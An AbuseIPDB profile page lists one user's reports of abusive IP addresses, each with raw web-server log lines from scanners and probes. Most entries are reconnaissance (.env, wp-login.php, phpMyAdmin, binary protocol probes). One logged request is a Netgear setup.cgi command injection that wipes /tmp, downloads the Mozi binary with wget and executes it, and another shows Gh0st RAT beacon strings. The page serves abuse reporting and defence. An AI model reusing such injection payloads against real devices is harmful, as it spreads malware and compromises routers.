AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User vikal joined AbuseIPDB in April 2026 and has reported 3,305 IP addresses.

Standing (weight) is good.

ACTIVE USER

IP	Date	Comment	Categories
🇳🇬 165.154.11.170	26 Oct 2026	165.154.11.170 - - [26/Oct/2026:10:59:16 +0100] "l\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 ... show more 165.154.11.170 - - [26/Oct/2026:10:59:16 +0100] "l\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 150 "-" "-" 165.154.11.170 - - [26/Oct/2026:10:59:16 +0100] "\x00\x00\x07\x00\x08\x00\x03\x00\x04\x00\x05\x00\x06" 400 150 "-" "-" 165.154.11.170 - - [26/Oct/2026:10:59:16 +0100] "\x00\x0E87\xA5&\x08\xA2\x1B\xA0\xB1\x00\x00\x00\x00\x00" 400 150 "-" "-" 165.154.11.170 - - [26/Oct/2026:10:59:17 +0100] "^\x02$" 400 150 "-" "-" 165.154.11.170 - - [26/Oct/2026:10:59:27 +0100] "" 400 0 "-" "-" ... show less	Brute-Force SSH
🇧🇪 34.156.45.162	26 Oct 2026	34.156.45.162 - - [26/Oct/2026:10:17:03 +0100] "07\xA0\x03\x02\x01`\xA100.0,\xA0\x04(NTLMSSP\x00\x0 ... show more 34.156.45.162 - - [26/Oct/2026:10:17:03 +0100] "07\xA0\x03\x02\x01`\xA100.0,\xA0\x04(NTLMSSP\x00\x01\x00\x00\x00\xF7\xBA\xDB\xE2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 150 "-" "-" 34.156.45.162 - - [26/Oct/2026:10:17:13 +0100] "0:\x02\x04f$\x0B\x96`2\x02\x01\x03\x04\x17cn=kttyklxzbqliregoxsrt\x80\x14kttyklxzbqliregoxsrt" 400 150 "-" "-" 34.156.45.162 - - [26/Oct/2026:10:17:23 +0100] "\x00\x00\x00C\x00\x12\x00\x00\x1E3\xF4\x81\x00\x1Fconsumer-Offset Explorer 2.2-18\x00\x12apache-kafka-java\x062.4.0\x00" 400 150 "-" "-" 34.156.45.162 - - [26/Oct/2026:10:17:24 +0100] "\x00\x00\x00#\x00\x03\x00\x00\x1E3\xF4\x81\x00" 400 150 "-" "-" 34.156.45.162 - - [26/Oct/2026:10:17:24 +0100] "*1" 400 150 "-" "-" ... show less	Brute-Force SSH
🇧🇪 34.156.138.151	26 Oct 2026	34.156.138.151 - - [26/Oct/2026:09:42:09 +0100] "07\xA0\x03\x02\x01`\xA100.0,\xA0\x04(NTLMSSP\x00\x ... show more 34.156.138.151 - - [26/Oct/2026:09:42:09 +0100] "07\xA0\x03\x02\x01`\xA100.0,\xA0\x04(NTLMSSP\x00\x01\x00\x00\x00\xF7\xBA\xDB\xE2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 150 "-" "-" 34.156.138.151 - - [26/Oct/2026:09:42:14 +0100] "0:\x02\x04\x12\x0Ct\x1A`2\x02\x01\x03\x04\x17cn=alvudfdgqbwmyeqaquxv\x80\x14alvudfdgqbwmyeqaquxv" 400 150 "-" "-" 34.156.138.151 - - [26/Oct/2026:09:42:20 +0100] "\x00\x00\x00C\x00\x12\x00\x00\x1E3\xF4\x81\x00\x1Fconsumer-Offset Explorer 2.2-18\x00\x12apache-kafka-java\x062.4.0\x00" 400 150 "-" "-" 34.156.138.151 - - [26/Oct/2026:09:42:21 +0100] "\x00\x00\x00#\x00\x03\x00\x00\x1E3\xF4\x81\x00" 400 150 "-" "-" 34.156.138.151 - - [26/Oct/2026:09:42:21 +0100] "*1" 400 150 "-" "-" ... show less	Brute-Force SSH
🇳🇱 93.123.109.165	26 Oct 2026	93.123.109.165 - - [26/Oct/2026:09:10:51 +0100] "GET /wp-login.php HTTP/1.1" 444 0 "-" "Mozilla/5.0 ... show more 93.123.109.165 - - [26/Oct/2026:09:10:51 +0100] "GET /wp-login.php HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15" ... show less	Brute-Force SSH
🇩🇪 130.12.180.77	26 Oct 2026	130.12.180.77 - - [26/Oct/2026:07:15:39 +0100] "GET /.env HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows ... show more 130.12.180.77 - - [26/Oct/2026:07:15:39 +0100] "GET /.env HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" ... show less	Brute-Force SSH
🇯🇵 172.235.210.84	25 Oct 2026	172.235.210.84 - - [25/Oct/2026:23:31:56 +0100] "GET /.env HTTP/1.1" 301 162 "-" "Mozilla/5.0; Keydr ... show more 172.235.210.84 - - [25/Oct/2026:23:31:56 +0100] "GET /.env HTTP/1.1" 301 162 "-" "Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);" ... show less	Brute-Force SSH
🇩🇪 130.12.180.20	25 Oct 2026	130.12.180.20 - - [25/Oct/2026:23:11:28 +0100] "GET /administrator/ HTTP/1.1" 444 0 "-" "Mozilla/5.0 ... show more 130.12.180.20 - - [25/Oct/2026:23:11:28 +0100] "GET /administrator/ HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" ... show less	Brute-Force SSH
🇳🇱 45.148.10.238	25 Oct 2026	45.148.10.238 - - [25/Oct/2026:22:58:12 +0100] "GET /.env.release HTTP/1.1" 301 162 "-" "Mozilla/5.0 ... show more 45.148.10.238 - - [25/Oct/2026:22:58:12 +0100] "GET /.env.release HTTP/1.1" 301 162 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" ... show less	Brute-Force SSH
🇺🇸 20.172.68.47	25 Oct 2026	20.172.68.47 - - [25/Oct/2026:20:13:22 +0100] "GET /developmentserver/metadatauploader HTTP/1.1" 444 ... show more 20.172.68.47 - - [25/Oct/2026:20:13:22 +0100] "GET /developmentserver/metadatauploader HTTP/1.1" 444 0 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Brute-Force SSH
🇺🇸 20.168.117.138	25 Oct 2026	20.168.117.138 - - [25/Oct/2026:17:13:45 +0100] "GET /developmentserver/metadatauploader HTTP/1.1" 3 ... show more 20.168.117.138 - - [25/Oct/2026:17:13:45 +0100] "GET /developmentserver/metadatauploader HTTP/1.1" 301 162 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Brute-Force SSH
🇹🇼 198.235.24.111	25 Oct 2026	198.235.24.111 - - [25/Oct/2026:16:37:44 +0100] "GET / HTTP/1.1" 444 0 "-" "Hello from Palo Alto Net ... show more 198.235.24.111 - - [25/Oct/2026:16:37:44 +0100] "GET / HTTP/1.1" 444 0 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" ... show less	Brute-Force SSH
🇺🇸 45.33.73.86	25 Oct 2026	45.33.73.86 - - [25/Oct/2026:10:25:04 +0100] "lv\|'\|'\|VHJvamFuX0M0NkY2RTk=\|'\|'\|MARK\|'\|'\|user\|'\|'\|2013 ... show more 45.33.73.86 - - [25/Oct/2026:10:25:04 +0100] "lv\|'\|'\|VHJvamFuX0M0NkY2RTk=\|'\|'\|MARK\|'\|'\|user\|'\|'\|2013-11-22\|'\|'\|\|'\|'\|Win XP\|'\|'\|No\|'\|'\|0.6.4\|'\|'\|..\|'\|'\|\|'\|'\|[endof]" 400 150 "-" "-" 45.33.73.86 - - [25/Oct/2026:10:25:04 +0100] "Gh0st\xAD\x00\x00\x00\xE0\x00\x00\x00x\x9CKS``\x98\xC3\xC0\xC0\xC0\x06\xC4\x8C@\xBCQ\x96\x81\x81\x09H\x07\xA7\x16\x95e&\xA7*\x04$&g+\x182\x94\xF6\xB000\xAC\xA8rc\x00\x01\x11\xA0\x82\x1F\x5C`&\x83\xC7K7\x86\x19\xE5n\x0C9\x95n\x0C;\x84\x0F3\xAC\xE8sch\xA8^\xCF4'J\x97\xA9\x82\xE30\xC3\x91h]&\x90\xF8\xCE\x97S\xCBA4L?2=\xE1\xC4\x92\x86\x0B@\xF5`\x0CT\x1F\xAE\xAF]" 400 150 "-" "-" 45.33.73.86 - - [25/Oct/2026:10:25:05 +0100] "145.ll\|'\|'\|SGFjS2VkX0Q0OTkwNjI3\|'\|'\|WIN-JNAPIER0859\|'\|'\|JNapier\|'\|'\|19-02-01\|'\|'\|\|'\|'\|Win 7 Professional SP1 x64\|'\|'\|No\|'\|'\|0.7d\|'\|'\|..\|'\|'\|AA==\|'\|'\|112.inf\|'\|'\|SGFjS2VkDQoxOTIuMTY4LjkyLjIyMjo1NTUyDQpEZXNrdG9wDQpjbGllbnRhLmV4ZQ0KRmFsc2UNCkZhbHNlDQpUcnVlDQpGYWxzZQ==12.act\|'\|'\|AA==" 400 150 "-" "-" 45.33.73.86 - - [25/Oct/2026:10:25:05 +0100] "H\x00 ... show less	Brute-Force SSH
🇩🇪 130.12.180.170	25 Oct 2026	130.12.180.170 - - [25/Oct/2026:10:09:01 +0100] "GET /.env HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows ... show more 130.12.180.170 - - [25/Oct/2026:10:09:01 +0100] "GET /.env HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" ... show less	Brute-Force SSH
🇫🇮 147.185.133.123	25 Oct 2026	147.185.133.123 - - [25/Oct/2026:08:09:47 +0100] "GET / HTTP/1.0" 301 162 "-" "Hello from Palo Alto ... show more 147.185.133.123 - - [25/Oct/2026:08:09:47 +0100] "GET / HTTP/1.0" 301 162 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" ... show less	Brute-Force SSH
🇧🇪 207.175.67.137	25 Oct 2026	207.175.67.137 - - [25/Oct/2026:06:41:40 +0100] "07\xA0\x03\x02\x01`\xA100.0,\xA0\x04(NTLMSSP\x00\x ... show more 207.175.67.137 - - [25/Oct/2026:06:41:40 +0100] "07\xA0\x03\x02\x01`\xA100.0,\xA0\x04(NTLMSSP\x00\x01\x00\x00\x00\xF7\xBA\xDB\xE2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 150 "-" "-" 207.175.67.137 - - [25/Oct/2026:06:41:48 +0100] "0:\x02\x04cj\x81\xF0`2\x02\x01\x03\x04\x17cn=iazqeopjkrqhklauyjyq\x80\x14iazqeopjkrqhklauyjyq" 400 150 "-" "-" 207.175.67.137 - - [25/Oct/2026:06:41:59 +0100] "\x00\x00\x00C\x00\x12\x00\x00\x1E3\xF4\x81\x00\x1Fconsumer-Offset Explorer 2.2-18\x00\x12apache-kafka-java\x062.4.0\x00" 400 150 "-" "-" 207.175.67.137 - - [25/Oct/2026:06:41:59 +0100] "\x00\x00\x00#\x00\x03\x00\x00\x1E3\xF4\x81\x00" 400 150 "-" "-" 207.175.67.137 - - [25/Oct/2026:06:41:59 +0100] "*1" 400 150 "-" "-" ... show less	Brute-Force SSH
🇧🇪 207.175.153.175	25 Oct 2026	207.175.153.175 - - [25/Oct/2026:06:14:18 +0100] "07\xA0\x03\x02\x01`\xA100.0,\xA0\x04(NTLMSSP\x00\ ... show more 207.175.153.175 - - [25/Oct/2026:06:14:18 +0100] "07\xA0\x03\x02\x01`\xA100.0,\xA0\x04(NTLMSSP\x00\x01\x00\x00\x00\xF7\xBA\xDB\xE2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 150 "-" "-" 207.175.153.175 - - [25/Oct/2026:06:14:29 +0100] "0:\x02\x046U\xD5\x87`2\x02\x01\x03\x04\x17cn=cmttouxdamudovoovqcp\x80\x14cmttouxdamudovoovqcp" 400 150 "-" "-" 207.175.153.175 - - [25/Oct/2026:06:14:41 +0100] "\x00\x00\x00C\x00\x12\x00\x00\x1E3\xF4\x81\x00\x1Fconsumer-Offset Explorer 2.2-18\x00\x12apache-kafka-java\x062.4.0\x00" 400 150 "-" "-" 207.175.153.175 - - [25/Oct/2026:06:14:43 +0100] "\x00\x00\x00#\x00\x03\x00\x00\x1E3\xF4\x81\x00" 400 150 "-" "-" 207.175.153.175 - - [25/Oct/2026:06:14:44 +0100] "*1" 400 150 "-" "-" ... show less	Brute-Force SSH
🇧🇪 35.195.169.16	25 Oct 2026	35.195.169.16 - - [25/Oct/2026:06:02:58 +0100] "07\xA0\x03\x02\x01`\xA100.0,\xA0\x04(NTLMSSP\x00\x0 ... show more 35.195.169.16 - - [25/Oct/2026:06:02:58 +0100] "07\xA0\x03\x02\x01`\xA100.0,\xA0\x04(NTLMSSP\x00\x01\x00\x00\x00\xF7\xBA\xDB\xE2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 150 "-" "-" 35.195.169.16 - - [25/Oct/2026:06:03:03 +0100] "0:\x02\x04k%\xAA\xE2`2\x02\x01\x03\x04\x17cn=brhdyszgyxdenqtgdppn\x80\x14brhdyszgyxdenqtgdppn" 400 150 "-" "-" 35.195.169.16 - - [25/Oct/2026:06:03:08 +0100] "\x00\x00\x00C\x00\x12\x00\x00\x1E3\xF4\x81\x00\x1Fconsumer-Offset Explorer 2.2-18\x00\x12apache-kafka-java\x062.4.0\x00" 400 150 "-" "-" 35.195.169.16 - - [25/Oct/2026:06:03:08 +0100] "\x00\x00\x00#\x00\x03\x00\x00\x1E3\xF4\x81\x00" 400 150 "-" "-" 35.195.169.16 - - [25/Oct/2026:06:03:08 +0100] "*1" 400 150 "-" "-" ... show less	Brute-Force SSH
🇺🇸 72.167.39.225	25 Oct 2026	72.167.39.225 - - [25/Oct/2026:04:14:30 +0100] "GET /phpMyAdmin-5.1.0/index.php?lang=en HTTP/1.1" 30 ... show more 72.167.39.225 - - [25/Oct/2026:04:14:30 +0100] "GET /phpMyAdmin-5.1.0/index.php?lang=en HTTP/1.1" 301 162 "-" "Go Web Pentest Tool" ... show less	Brute-Force SSH
🇺🇸 48.214.146.217	24 Oct 2026	48.214.146.217 - - [24/Oct/2026:22:30:00 +0200] "GET /developmentserver/metadatauploader HTTP/1.1" 4 ... show more 48.214.146.217 - - [24/Oct/2026:22:30:00 +0200] "GET /developmentserver/metadatauploader HTTP/1.1" 444 0 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Brute-Force SSH
🇺🇸 66.132.186.164	24 Oct 2026	66.132.186.164 - - [24/Oct/2026:19:24:10 +0200] "\x16\x03\x01\x05\xBA\x01\x00\x05\xB6\x03\x03\xA2\xD ... show more 66.132.186.164 - - [24/Oct/2026:19:24:10 +0200] "\x16\x03\x01\x05\xBA\x01\x00\x05\xB6\x03\x03\xA2\xDF\xFCw:\xD3\xF4_\x9E\xE5%\xE2\x02\xEB\x8CF1\x1D\xB0\xA2\x87W\xD1]D\x22-\xF7E\xB2\x0BN D\xB4\xD8St\xD1w\xE8\x95\xFCf\xD85xl(^T\xAF[i\xDFo\x19y\xFEpX\xBDn3\xCB\x00&\xCC\xA8\xCC\xA9\xC0/\xC00\xC0+\xC0,\xC0\x13\xC0\x09\xC0\x14\xC0" 400 150 "-" "-" 66.132.186.164 - - [24/Oct/2026:19:24:15 +0200] "PRI * HTTP/2.0" 400 150 "-" "-" 66.132.186.164 - - [24/Oct/2026:19:24:41 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 66.132.186.164 - - [24/Oct/2026:19:24:53 +0200] "PRI * HTTP/2.0" 400 150 "-" "-" 66.132.186.164 - - [24/Oct/2026:19:28:04 +0200] "\x16\x03\x01\x05\xBA\x01\x00\x05\xB6\x03\x03\x14\x16\xC0\x03\xC8\xA7\xB1\x1E\xF1A\xF64<<\x5C\x16\x16\x8A\x8F\xFD`Q\xB0zT\x14\xFAJNR\x15\xCC \xCB\x8ER3\xDE\xE9\x8C{jC\xAA\x95}\xF6\xD4\x1F\xC6P\xAA 7~\x22\xE8\xA1\x9FF\x16t;D" 400 150 "-" "-" ... show less	Brute-Force SSH
🇧🇪 198.235.24.194	24 Oct 2026	198.235.24.194 - - [24/Oct/2026:18:04:33 +0200] "GET / HTTP/1.1" 444 0 "-" "Hello from Palo Alto Net ... show more 198.235.24.194 - - [24/Oct/2026:18:04:33 +0200] "GET / HTTP/1.1" 444 0 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" ... show less	Brute-Force SSH
🇺🇸 205.210.31.72	24 Oct 2026	205.210.31.72 - - [24/Oct/2026:17:49:00 +0200] "GET / HTTP/1.1" 301 162 "-" "Hello from Palo Alto Ne ... show more 205.210.31.72 - - [24/Oct/2026:17:49:00 +0200] "GET / HTTP/1.1" 301 162 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" ... show less	Brute-Force SSH
🇹🇼 198.235.24.20	24 Oct 2026	198.235.24.20 - - [24/Oct/2026:14:29:16 +0200] "GET / HTTP/1.1" 444 0 "-" "Hello from Palo Alto Netw ... show more 198.235.24.20 - - [24/Oct/2026:14:29:16 +0200] "GET / HTTP/1.1" 444 0 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" ... show less	Brute-Force SSH
🇺🇸 20.15.227.79	24 Oct 2026	20.15.227.79 - - [24/Oct/2026:14:14:29 +0200] "GET /developmentserver/metadatauploader HTTP/1.1" 301 ... show more 20.15.227.79 - - [24/Oct/2026:14:14:29 +0200] "GET /developmentserver/metadatauploader HTTP/1.1" 301 162 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Brute-Force SSH
🇵🇰 39.34.191.97	24 Oct 2026	39.34.191.97 - - [24/Oct/2026:13:48:13 +0200] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd= ... show more 39.34.191.97 - - [24/Oct/2026:13:48:13 +0200] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 301 162 "-" "-" ... show less	Brute-Force SSH